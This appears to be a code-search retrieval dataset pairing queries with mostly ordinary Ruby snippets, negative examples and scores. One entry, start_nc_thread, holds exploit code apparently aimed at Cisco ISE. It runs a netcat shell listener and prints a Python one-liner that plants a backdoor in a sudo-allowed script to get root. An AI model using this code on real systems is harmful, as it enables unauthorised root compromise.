"0.58453274",
"0.58424515",
"0.5842441",
"0.58... | 0.0 | -1 |
Tests to see if specified dropdown group should be highlighted or not | def highlight?(dropdown_group)
if dropdown_group == 'home'
["/", "/dashboard/network"].any? do | route |
current_page?(route)
end
elsif dropdown_group == 'manage'
["/dashboard/visualconfig", "/dashboard/manage", "/dashboard/instances"].any? do | route |
current_page?(route)
end
elsif dropdown_group == 'admin'
["/admin/users", "/admin/settings"].any? do | route |
current_page?(route)
end
elsif dropdown_group == 'configures'
["/configures", "/configures/new"].any? do | route |
current_page?(route)
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def group_choosen?\n !current_group.nil?\n end",
"def group_choosen?\n !current_group.nil?\n end",
"def valid_options\n selected_options.grep_v(/\\Agroup_/)\n end",
"def selected?; false; end",
"def selected?; false; end",
"def has_selected?\n selected?\n end",
"def selected?\n @se... | [
"0.664406",
"0.664406",
"0.6220465",
"0.60187227",
"0.60187227",
"0.5883304",
"0.5833344",
"0.58275557",
"0.5761715",
"0.5741193",
"0.5741193",
"0.5739469",
"0.57391363",
"0.57355624",
"0.5711719",
"0.5709885",
"0.56433284",
"0.5614353",
"0.55992234",
"0.5528034",
"0.5516902"... | 0.7081927 | 0 |
Returns the current page number of the manga. This will not make any api calls and only looks at (url, referer_url). | def manga_page
# http://i2.pixiv.net/img04/img/syounen_no_uta/46170939_p0.jpg
# http://i1.pixiv.net/c/600x600/img-master/img/2014/09/24/23/25/08/46168376_p0_master1200.jpg
# http://i1.pixiv.net/img-original/img/2014/09/25/23/09/29/46183440_p0.jpg
if url =~ %r{/\d+_p(\d+)(?:_\w+)?\.#{EXT}}i
return $1.to_i
end
# http://www.pixiv.net/member_illust.php?mode=manga_big&illust_id=46170939&page=0
[url, referer_url].each do |x|
if x =~ /page=(\d+)/i
return $1.to_i
end
end
nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def PageNo()\n\t\t#Get current page number\n\t\treturn @page;\n\tend",
"def current_page_number\n (previous_page_number.to_i + 1).to_s\n end",
"def current_page\n return unless response.headers['PaginationCurrentPage']\n response.headers['PaginationCurrentPage'].to_i\n end",
"def p... | [
"0.7304405",
"0.71820056",
"0.7178546",
"0.71626675",
"0.7121461",
"0.7068206",
"0.699399",
"0.6957431",
"0.6923614",
"0.68471843",
"0.6816601",
"0.68135417",
"0.6805339",
"0.6794579",
"0.67805713",
"0.6757622",
"0.6757622",
"0.67355573",
"0.67122304",
"0.67073494",
"0.670286... | 0.76781726 | 1 |
Formula: n! / ((nr)! r!) | def factorial(x)
# (1..x).inject(:*) || 1
(1..x).inject(:*)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def /(n)\n self * (1.0 / n)\n end",
"def rdiv(p0) end",
"def d(n)\r\n proper_divisors(n).reduce(:+)\r\nend",
"def numerator() end",
"def reciprocal\n\t\tRacional.new(denom, num)\n\tend",
"def ncr(n, r)\n n.downto(n-r+1).inject(:*) / fct(r)\n # ((n-r+1)..n).inject(:*) / (1..r).inject(:*)\nend",... | [
"0.6812761",
"0.67714286",
"0.67254984",
"0.6498733",
"0.6449835",
"0.63648486",
"0.6360352",
"0.63391376",
"0.633487",
"0.6276087",
"0.6247886",
"0.62237537",
"0.6221638",
"0.61941445",
"0.61822236",
"0.6177537",
"0.6116024",
"0.6107728",
"0.61040384",
"0.6084036",
"0.608374... | 0.0 | -1 |
If the user is a customer and the listing does not belong to them: | def verify_action
if current_user.customer?
redirect_to root_url
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def chargeable? listing\n listing.seller?(@user) && listing.new? \n end",
"def user_is_customer?\n (user_signed_in? && current_user.is_customer?)\n end",
"def logged_in_customer?\n !current_customer.nil?\n end",
"def current_customer?(customer)\n customer == current_customer\n end",
"def cu... | [
"0.69790554",
"0.6539256",
"0.6421201",
"0.6351789",
"0.6351789",
"0.62812513",
"0.6275583",
"0.62451875",
"0.62194324",
"0.6206096",
"0.61729664",
"0.6149185",
"0.6140065",
"0.61390465",
"0.6138833",
"0.61166704",
"0.60900277",
"0.60706234",
"0.60574955",
"0.6026456",
"0.602... | 0.0 | -1 |
A list of the param names that can be used for filtering the Product list | def filtering_params(params)
params.slice(:omnisearch)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def filtering_params(params)\n params.slice(:shortlist, :client, :category, :updated_at, :costmodel, :state, :prio)\n end",
"def filtering_params(params)\n\t\t params.slice(:name, :category_id, :trademark)\n\t\tend",
"def parameters_to_filter\n @parameters_to_filter ||= []\n end",
"def fi... | [
"0.70020515",
"0.6862293",
"0.68012214",
"0.6720072",
"0.6720072",
"0.6699814",
"0.66959554",
"0.65927076",
"0.65341085",
"0.64942545",
"0.64033616",
"0.6365154",
"0.6350503",
"0.6294092",
"0.6289431",
"0.62864137",
"0.6264937",
"0.62618184",
"0.6206471",
"0.62015015",
"0.615... | 0.6514961 | 9 |
TEST CASE: MAPPING HASH. IT SHOULD CONTAIN ROMAN LETTERS AND THIER CORESPODING VALUES | def test_mapping_hash
assert_equal(MAPPING, RomanMathmaticalOperation::MAPPING )
assert_not_equal(WRONG_MAPPING, RomanMathmaticalOperation::MAPPING )
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_hash_correct\n\t\n\t\tString test_array1 = '2|abb2|George>Amina(16):Henry>James(4):Henry>Cyrus(17):Henry>Kublai(4):George>Rana(1):SYSTEM>Wu(100)|1518892051.753197000|c72d'.split('|').map(&:chomp)\n\n\t\tx = test_array1[0].unpack('U*') + test_array1[1].unpack('U*') + test_array1[2].unpack('U*') + test_arra... | [
"0.73314816",
"0.7017863",
"0.6622463",
"0.65903765",
"0.65375316",
"0.65341043",
"0.65341043",
"0.65341043",
"0.65341043",
"0.65341043",
"0.65341043",
"0.65341043",
"0.6480892",
"0.6462269",
"0.6440241",
"0.64366585",
"0.6393766",
"0.637617",
"0.6372146",
"0.6367231",
"0.636... | 0.0 | -1 |
TEST CASE: CONSTANT OPERATORS. IT SHOULD CONTAIN ALL VALID OPERATORS | def test_operator_array
assert_equal(OPERATORS, RomanMathmaticalOperation::OPERATORS)
assert_not_equal(WRONG_OPERATORS, RomanMathmaticalOperation::OPERATORS )
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_valid_input\n assert_equal(nil, RomanMathmaticalOperation.new(\"X\", \"+\",\"V\").send(:valid_input))\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"+\",nil).send(:valid_input)}\n assert_equal(\"This X or is not valid\", exception.message)\... | [
"0.6109371",
"0.60394484",
"0.60276",
"0.59736854",
"0.59708774",
"0.59016097",
"0.58830816",
"0.5774712",
"0.57667834",
"0.57628566",
"0.5742937",
"0.57201487",
"0.56682926",
"0.56682926",
"0.5651048",
"0.5628848",
"0.5625803",
"0.5622729",
"0.5618326",
"0.56170195",
"0.5600... | 0.64948773 | 0 |
TEST CASE: to_num METHOD. IT SHOULD RETURN INTEGER VALUE IF VALID INPUT (ROMAN LETTER) PASSED ELSE RETURN 0 | def test_to_num
assert_equal(11, RomanMathmaticalOperation.new.send(:to_num,"XI"))
assert_equal(0, RomanMathmaticalOperation.new.send(:to_num,"wrong"))
assert_not_equal(11, RomanMathmaticalOperation.new.send(:to_num,"X"))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def letter_to_num(letter)\n \n if letter?(letter) == false\n return false\n end\n \n if letter.length != 1\n return false\n end\n \n letter = letter.downcase\n \n number = letter.ord - 96\nend",
"def charToNum(letter)\n return letter.upcase.ord-65 #ensure this is uppercase???\nend",
"def isN... | [
"0.74896544",
"0.69001174",
"0.6779687",
"0.671706",
"0.6653384",
"0.6637102",
"0.65878934",
"0.6573144",
"0.65723646",
"0.65689117",
"0.6531435",
"0.6531435",
"0.65034765",
"0.6486525",
"0.64733154",
"0.64577645",
"0.64381504",
"0.64299333",
"0.64275366",
"0.6401048",
"0.640... | 0.7098444 | 1 |
TEST CASE: to_roman METHOD. IT SHOULD RETURN OUTPUT(ROMAN LETTERS) IF INPUT(INTEGER) PASSED ELSE RETURN BLANK STRING | def test_to_roman
assert_equal("X", RomanMathmaticalOperation.new.send(:to_roman,10))
assert_not_equal("X", RomanMathmaticalOperation.new.send(:to_roman,11))
assert_equal("", RomanMathmaticalOperation.new.send(:to_roman,0))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_roman\n result = \"\"\n num_str = self.to_s\n str_a = num_str.split(//) # [\"1\", \"9\", \"9\", \"0\"]\n \n # case on number digits of the string array\n case str_a.size\n when 4\n result << do_digit(str_a[0], 1000)\n result << do_digit(str_a[1], 100)\n ... | [
"0.82702076",
"0.8263582",
"0.8190505",
"0.8190505",
"0.8175462",
"0.81322557",
"0.7928665",
"0.78959626",
"0.7867466",
"0.7841939",
"0.7831812",
"0.77904147",
"0.77902734",
"0.77740103",
"0.7768108",
"0.7722397",
"0.7635574",
"0.7632291",
"0.76203805",
"0.7618062",
"0.757075... | 0.7801257 | 11 |
TEST CASE: valid_input METHOD. IT SHOULD RETURN nil IF VALID(ROMAN LETTERS AND OPERATORS) INPUT PASSED ELSE RAISE EXCEPTION | def test_valid_input
assert_equal(nil, RomanMathmaticalOperation.new("X", "+","V").send(:valid_input))
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("X", "+",nil).send(:valid_input)}
assert_equal("This X or is not valid", exception.message)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("X", "%","V").send(:valid_input)}
assert_equal("Operator missmatch", exception.message)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def validate_input input\r\n\t\t\t\t\t\t\tif @console\r\n\t\t (input.match(/\\A[[:alpha:][:blank:]]+\\z/) || (check_enter input)) && (input.size < 2)\r\n\t\t else\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) && !(check_enter input)\r\n\t\t ... | [
"0.69861555",
"0.6925074",
"0.67451984",
"0.66084594",
"0.6542202",
"0.65336657",
"0.6507459",
"0.6500025",
"0.6483599",
"0.64475846",
"0.64465445",
"0.64450765",
"0.6406952",
"0.64045215",
"0.6403561",
"0.63759965",
"0.6357122",
"0.6347898",
"0.6295421",
"0.6267455",
"0.6244... | 0.73717695 | 0 |
TEST is_roman METHOD IT SHOULD RETURN TRUE IF VALID(ROMAN LETTER) INPUT PASSED ELSE RAISE EXCEPTION | def test_is_roman
assert_equal(true, RomanMathmaticalOperation.is_roman("V"))
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.is_roman(1)}
assert_equal("Not valid input", exception.message)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.is_roman("WRONG")}
assert_equal("Not valid input", exception.message)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_roman?\n @input.is_a? String\n end",
"def validate_roman roman_str\n\tif roman_str.scan(/^M{0,3}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})$/).empty?\n\t\tabort(\"Invalid Roman Language\")\n\tend\nend",
"def roman?\r\n # Liberal definition: all Roman numeral letters\r\n self.upcase =~ ROM... | [
"0.7892943",
"0.7749563",
"0.7619131",
"0.68940115",
"0.684007",
"0.66177255",
"0.64185774",
"0.6376377",
"0.63310736",
"0.6309917",
"0.62908936",
"0.6218004",
"0.6204351",
"0.6199007",
"0.60995334",
"0.60858107",
"0.60556996",
"0.60522753",
"0.5950638",
"0.5947665",
"0.59464... | 0.7864795 | 1 |
TEST OUTPUT OF THE EXPRESSION PASSED TO THE execute_expression IF VALID INPUT(ROMAN LETTERS) GIVEN IT SHOULD RETURN VALID OUTPUT(ROMAN LETTERS) ELSE RAISE EXCEPTION | def test_execute_expression
assert_equal("L", RomanMathmaticalOperation.new("XL","+","X").execute_expression)
assert_equal("XCIX", RomanMathmaticalOperation.new("C","-","I").execute_expression)
assert_equal("X", RomanMathmaticalOperation.new("C","/","X").execute_expression)
assert_equal("C", RomanMathmaticalOperation.new("X","*","X").execute_expression)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("Y","*","X").execute_expression}
assert_equal("Not valid input", exception.message)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("X","*",0).execute_expression}
assert_equal("Not valid input", exception.message)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("X", "+").execute_expression}
assert_equal("This X or is not valid", exception.message)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("X", "%","V").execute_expression}
assert_equal("Operator missmatch", exception.message)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_seqence_valid16\n result = engine(\"trump12%\")\n refute(result, \"'trump12%' should not be valid because it does not contain upper case letters.\")\n end",
"def test_seqence_valid17\n result = engine(\"TRUMP12%\")\n refute(result, \"'TRUMP12%' should not be valid because it does not contai... | [
"0.6693422",
"0.66117126",
"0.64900476",
"0.63006276",
"0.62454975",
"0.6075698",
"0.6074467",
"0.60278416",
"0.6023764",
"0.59623295",
"0.5942521",
"0.5932852",
"0.5921831",
"0.58792824",
"0.5871899",
"0.58626956",
"0.585283",
"0.582954",
"0.582809",
"0.5822299",
"0.581865",... | 0.68106925 | 0 |
Constructor == Parameters: api_key The api_key of the partner (which may be found in the api_keys section of the console) id The account id of the partner (which may be found in the settings page of the console) | def initialize(api_key = Sift.api_key, id = Sift.account_id)
@api_key = api_key
@id = id
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize(api_key, account_id, application_id)\n @api_key = api_key\n @account_id = account_id\n @application_id = application_id\n end",
"def initialize(api_key:)\n @api_key = api_key\n end",
"def initialize(api_key)\n @api_key = api_key\n end",
... | [
"0.7342074",
"0.7273167",
"0.72308403",
"0.72308403",
"0.72308403",
"0.7206008",
"0.71867144",
"0.7177517",
"0.7143401",
"0.69721115",
"0.68567795",
"0.68331903",
"0.68205786",
"0.68150705",
"0.6753521",
"0.67503124",
"0.6663923",
"0.66201735",
"0.66201735",
"0.66201735",
"0.... | 0.8104245 | 0 |
Creates a new merchant account under the given partner. == Parameters: site_url the url of the merchant site site_email an email address for the merchant analyst_email an email address which will be used to log in at the Sift Console password password (at least 10 chars) to be used to sign into the Console When successful, returns a including the new account id and credentials. When an error occurs, returns nil. | def new_account(site_url, site_email, analyst_email, password)
reqBody = {:site_url => site_url, :site_email => site_email,
:analyst_email => analyst_email, :password => password}
begin
http_post(accounts_url(), reqBody)
rescue Exception => e
puts e.message
puts e.backtrace.inspect
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_merchant email_address, merchant, bank_account_uri=nil, name=nil, meta={}\n account = Account.new(\n :uri => self.accounts_uri,\n :email_address => email_address,\n :merchant => merchant,\n :bank_account_uri => bank_account_uri,\n :name => name,\n :meta => ... | [
"0.64207494",
"0.6268997",
"0.6245074",
"0.61792254",
"0.6104637",
"0.60928756",
"0.57629335",
"0.5729927",
"0.56824976",
"0.5669477",
"0.5658456",
"0.5627027",
"0.55325294",
"0.5531181",
"0.5525122",
"0.55223644",
"0.5500712",
"0.5500712",
"0.5370069",
"0.53438497",
"0.53135... | 0.6580291 | 0 |
Gets a listing of the ids and keys for all merchant accounts that have been created by this partner. When successful, returns a hash including the key :data, which is an array of account descriptions. (Each element has the same structure as a single response from new_account). | def get_accounts()
http_get(accounts_url)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fetch_accounts\n log 'fetch_accounts'\n data = get(PRODUCTS_ENDPOINT, fields: { carteras: false,listaSolicitada: 'TODOS',indicadorSaldoPreTarj: false })\n cuentas = data['datosSalidaCuentas']['cuentas'].zip(data['datosSalidaCodIban']['datosIban'])\n cuentas.map{ |data| build_account... | [
"0.61195743",
"0.61078554",
"0.60963696",
"0.6085393",
"0.6038998",
"0.6007238",
"0.5957938",
"0.5881204",
"0.58375645",
"0.58062315",
"0.56970626",
"0.5687534",
"0.5671185",
"0.5658123",
"0.565612",
"0.5550756",
"0.5534916",
"0.5489564",
"0.54764843",
"0.5447324",
"0.5422519... | 0.5115158 | 45 |
Updates the configuration which controls http notifications for all merchant accounts under this partner. == Parameters cfg A Hash, with keys :http_notification_url and :http_notification_threshold The value of the notification_url will be a url containing the string '%s' exactly once. This allows the url to be used as a template, into which a merchant account id can be substituted. The notification threshold should be a floating point number between 0.0 and 1.0 | def update_notification_config(cfg)
http_put(notification_config_url(), cfg)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def patch_adapter_config_policy_with_http_info(moid, adapter_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AdapterApi.patch_adapter_config_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.conf... | [
"0.5451133",
"0.5430684",
"0.51907015",
"0.49275866",
"0.48668617",
"0.48639667",
"0.48468262",
"0.4834718",
"0.48209423",
"0.47891364",
"0.47743648",
"0.47701105",
"0.47594237",
"0.4642261",
"0.46319386",
"0.46255252",
"0.45866928",
"0.4584813",
"0.45711064",
"0.4557157",
"0... | 0.6928133 | 0 |
List of games where current_user is either black or white player | def my_games
return unless user_signed_in?
@my_games = Game.where('white_player_id = ? or black_player_id = ?', current_user.id, current_user.id).where(winning_player_id: nil).order(:created_at)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def games(filters = {})\n filtered_games = filters[:game_state] ? Game.where(state: filters[:game_state]) : Game.all\n filtered_games.to_a.each_with_object([]) do |game, array|\n game.players.each do |player|\n if player.user == self &&\n (filters[:role].nil? || player.role == filters[:rol... | [
"0.66691583",
"0.66007394",
"0.65672666",
"0.6508162",
"0.6184135",
"0.6184135",
"0.6151068",
"0.6145816",
"0.6104318",
"0.60371405",
"0.5960701",
"0.595706",
"0.5941737",
"0.5939897",
"0.5874502",
"0.57592994",
"0.57563126",
"0.5754423",
"0.5706138",
"0.5703887",
"0.570007",... | 0.71359545 | 0 |
Find unstarted games where the white_player_id matches the searched email address | def search_query(params)
user = User.find_by(email: params)
Game.where(white_player_id: user.id, black_player_id: nil).order(:created_at)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def my_games\n return unless user_signed_in?\n @my_games = Game.where('white_player_id = ? or black_player_id = ?', current_user.id, current_user.id).where(winning_player_id: nil).order(:created_at)\n end",
"def in_progress_games(other_player)\n games.where(\n 'complete = ? AND (challenger_id = ? ... | [
"0.6141907",
"0.6012204",
"0.6012204",
"0.57206005",
"0.5627729",
"0.55997694",
"0.54813236",
"0.5388144",
"0.53074324",
"0.5298891",
"0.5242624",
"0.5169554",
"0.51637065",
"0.51493025",
"0.51374656",
"0.51364565",
"0.51175463",
"0.50874704",
"0.50781584",
"0.5056534",
"0.50... | 0.7503585 | 0 |
rubocop:disable Metrics/AbcSize Prevent access to games_controllershow if player is not a part of that game | def own_game?
return unless @game.black_player_id
return if @game.white_player_id == current_user.id || @game.black_player_id == current_user.id
flash[:alert] = "Sorry, you're not a player in that game"
redirect_to games_path
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def player_of_game(game)\n game.player(self)\n end",
"def get_winning_player\n # if one player has all the cards\n players.map{|p| @winning_player = p if p.num_cards_remaining == Deck.num_cards}\n\n # if that's not the case, take the player with the highest number of cards\n if @winning_player.bl... | [
"0.65689635",
"0.6212366",
"0.61340874",
"0.61209697",
"0.6078557",
"0.60002",
"0.5956228",
"0.5938254",
"0.59305",
"0.59267",
"0.59123325",
"0.5900585",
"0.58894366",
"0.58854866",
"0.5842493",
"0.583254",
"0.5829133",
"0.5815144",
"0.5793604",
"0.5793427",
"0.5793223",
"0... | 0.6233966 | 1 |
Prevent access to games_controllershow if game only has 1 player | def new_game?
return if @game.black_player_id
flash[:alert] = "Sorry, you have to join the game first"
redirect_to games_path
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def own_game?\n return unless @game.black_player_id\n return if @game.white_player_id == current_user.id || @game.black_player_id == current_user.id\n\n flash[:alert] = \"Sorry, you're not a player in that game\"\n redirect_to games_path\n end",
"def must_be_my_turn\n @game = Game.find(params[:ga... | [
"0.70175874",
"0.6987618",
"0.6728476",
"0.65005815",
"0.64792496",
"0.6352307",
"0.6317373",
"0.628944",
"0.6278278",
"0.6275177",
"0.62575626",
"0.6241946",
"0.6239661",
"0.6218625",
"0.61633915",
"0.61510944",
"0.6131389",
"0.6130539",
"0.6115731",
"0.60674304",
"0.604357"... | 0.56994313 | 70 |
Check if game is in checkmate If so, present message indicating winner | def checkmate?
return unless @game.determine_checkmate
if @game.turn_number.even?
@game.update(winning_player_id: @game.black_player_id)
elsif game.turn_number.odd?
@game.update(winning_player_id: @game.white_player_id)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def winner\n case\n when in_checkmate?(1)\n 2\n when in_checkmate?(2)\n 1\n else\n nil\n end\n end",
"def check_for_mate\n if @board.in_checkmate?( match.next_to_move )\n match.active = false\n match.winner = (match.next_to_move==:white ? match.playe... | [
"0.7964523",
"0.7502289",
"0.7472054",
"0.74522895",
"0.74476194",
"0.74423945",
"0.7427622",
"0.7349794",
"0.7342708",
"0.7313573",
"0.72916216",
"0.7266836",
"0.72630936",
"0.72513753",
"0.7229261",
"0.7207654",
"0.71685416",
"0.7165709",
"0.7163515",
"0.71626735",
"0.71495... | 0.7670668 | 1 |
modified from bulkrax to ensure setting model before adding other metadata | def build_metadata
raise StandardError, 'Record not found' if record.nil?
raise StandardError, "Missing required elements, missing element(s) are: #{importerexporter.parser.missing_elements(keys_without_numbers(record.keys)).join(', ')}" unless importerexporter.parser.required_elements?(keys_without_numbers(record.keys))
self.parsed_metadata = {}
self.parsed_metadata[work_identifier] = [record[source_identifier]]
add_work_type
add_standard_metadata
add_file
add_visibility
add_rights_statement
add_admin_set_id
add_collections
add_local
self.parsed_metadata
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def prepare\n model.tap do |p|\n p.name = name\n p.identifier = set_identifiers\n p.meta = set_meta\n end\n end",
"def prepare\n model.tap do |p|\n p.name = name\n p.identifier = set_identifiers\n p.meta = set_met... | [
"0.6431722",
"0.6431722",
"0.63014007",
"0.63014007",
"0.62962466",
"0.6275937",
"0.6189198",
"0.6114123",
"0.6085375",
"0.6068783",
"0.5951898",
"0.58593124",
"0.58593124",
"0.58593124",
"0.58593124",
"0.58593124",
"0.58593124",
"0.58593124",
"0.58502334",
"0.5813539",
"0.57... | 0.0 | -1 |
Unfortunately I couldn't find a better way to make this interactive, so the user has to copy and paste the python command to write to the shell script and execute as sudo. Spent hours fighting with Ruby and trying to get this without user interaction, hopefully some Ruby God can enlighten me on how to do it properly. | def start_nc_thread(nc_port, jrmp_pid)
IO.popen("nc -lvkp #{nc_port.to_s} 2>&1").each do |line|
if line.include?('Connection from')
Process.kill("TERM", jrmp_pid)
Process.wait(jrmp_pid)
puts "[+] Shelly is here! Now to escalate your privileges to root, ".green.bold +
"copy and paste the following:".green.bold
puts %{python -c 'import os;f=open("/opt/CSCOcpm/bin/file-info.sh", "a+", 0);f.write("if [ \\"$1\\" == 1337 ];then\\n/bin/bash\\nfi\\n");f.close();os.system("sudo /opt/CSCOcpm/bin/file-info.sh 1337")'}
puts "[+] Press enter, then interact with the root shell,".green.bold +
" and press CTRL + C when done".green.bold
else
puts line
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_sudo\n return if @sudo\n\n prompt = (1..10).map { rand(255) }.pack('c')\n code = <<-RUBY\n $stdout.sync = true\n $stdout.set_encoding 'ascii-8bit'\n $stdin.set_encoding 'ascii-8bit'\n $stdout.write #{prompt.inspect}\n\n while size = $stdin.read(4)\n action, args =... | [
"0.6606962",
"0.6447041",
"0.632292",
"0.6154565",
"0.61415946",
"0.61262715",
"0.60955",
"0.60740346",
"0.60740346",
"0.60096836",
"0.59833074",
"0.5982047",
"0.5980239",
"0.59406376",
"0.5897621",
"0.5881793",
"0.5819546",
"0.580513",
"0.5791032",
"0.57833654",
"0.5764396",... | 0.5193582 | 97 |
GET /admin/buildings GET /admin/buildings.json | def index
@admin_buildings = Admin::Building.search(params[:search]).where(user: current_user).where(parent_id: nil).order(parent_id: :asc)
@admin_buildings = buildings(current_user)
@export = Admin::Building.where(user: current_user).order(parent_id: :asc)
respond_to do |format|
format.html
format.xlsx {
response.headers['Content-Disposition'] = 'attachment; filename="Buildings.xlsx"'
}
format.js { render :layout => false }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @buildings = Building.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@buildings }\n end\n end",
"def index\n @buildings = Building.all\n end",
"def getbuildings\n \n puts params\n custid = params[\"custormerid\... | [
"0.79387003",
"0.77449435",
"0.7314894",
"0.7223019",
"0.7171024",
"0.7165089",
"0.7097558",
"0.70530957",
"0.7040331",
"0.6935167",
"0.69105387",
"0.6798562",
"0.6764827",
"0.67273027",
"0.6721974",
"0.66824263",
"0.6658806",
"0.6652092",
"0.65663993",
"0.6556753",
"0.654762... | 0.6071732 | 37 |
GET /admin/buildings/1 GET /admin/buildings/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @buildings = Building.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@buildings }\n end\n end",
"def index\n @buildings = Building.all\n end",
"def show\n @building_type = BuildingType.find(params[:id])\n\n respond_to do |for... | [
"0.773271",
"0.75652677",
"0.7206783",
"0.7136694",
"0.71287364",
"0.7114937",
"0.7031206",
"0.69841874",
"0.69692886",
"0.6962455",
"0.6871123",
"0.6869036",
"0.6859525",
"0.68490845",
"0.6806928",
"0.6676878",
"0.65930665",
"0.6587837",
"0.6587837",
"0.65636003",
"0.656225"... | 0.0 | -1 |
POST /admin/buildings POST /admin/buildings.json | def create
@admin_building = Admin::Building.new(admin_building_params)
@admin_building.user = current_user
respond_to do |format|
if @admin_building.save
@admin_buildings = buildings(current_user)
create_default_service(@admin_building)
format.html { redirect_to @admin_building, notice: t(:building_notice_created) }
format.json { render :show, status: :created, location: @admin_building }
format.js { render :layout => false }
else
format.html { render :new }
format.json { render json: @admin_building.errors, status: :unprocessable_entity }
format.js { render :layout => false }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @building = Building.new(building_params)\n\n if @building.save\n render json: @building, status: :created, location: @building\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end",
"def create\n @building = Building.new(building_params)\n\n ... | [
"0.74110156",
"0.70763534",
"0.7066253",
"0.7038686",
"0.6906155",
"0.6770361",
"0.6710353",
"0.6654732",
"0.66272956",
"0.6558386",
"0.65341383",
"0.64898944",
"0.6466021",
"0.64379084",
"0.6423919",
"0.64228255",
"0.63893676",
"0.63435537",
"0.63275886",
"0.6276221",
"0.627... | 0.7453756 | 0 |
PATCH/PUT /admin/buildings/1 PATCH/PUT /admin/buildings/1.json | def update
respond_to do |format|
if @admin_building.update(admin_building_params)
@admin_buildings = buildings(current_user)
format.html { redirect_to @admin_building, notice: t(:building_notice_updated) }
format.json { render :show, status: :ok, location: @admin_building }
format.js { render :layout => false }
else
format.html { render :edit }
format.json { render json: @admin_building.errors, status: :unprocessable_entity }
format.js { render :layout => false }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @building = Building.find(params[:id])\n\n if @building.update_attributes(building_params)\n head :no_content\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @building.update(building_params)... | [
"0.7186808",
"0.6946763",
"0.6849639",
"0.67995596",
"0.67417",
"0.6717256",
"0.6663899",
"0.655611",
"0.6522339",
"0.6391062",
"0.63199264",
"0.6319528",
"0.63094246",
"0.6290843",
"0.628431",
"0.62813985",
"0.6265373",
"0.625922",
"0.6257474",
"0.61512774",
"0.611435",
"0... | 0.72366863 | 0 |
DELETE /admin/buildings/1 DELETE /admin/buildings/1.json | def destroy
@admin_building.destroy
respond_to do |format|
format.html { redirect_to admin_buildings_url, notice: t(:building_notice_destroyed) }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @building = Building.find(params[:id])\n @building.destroy\n\n head :no_content\n end",
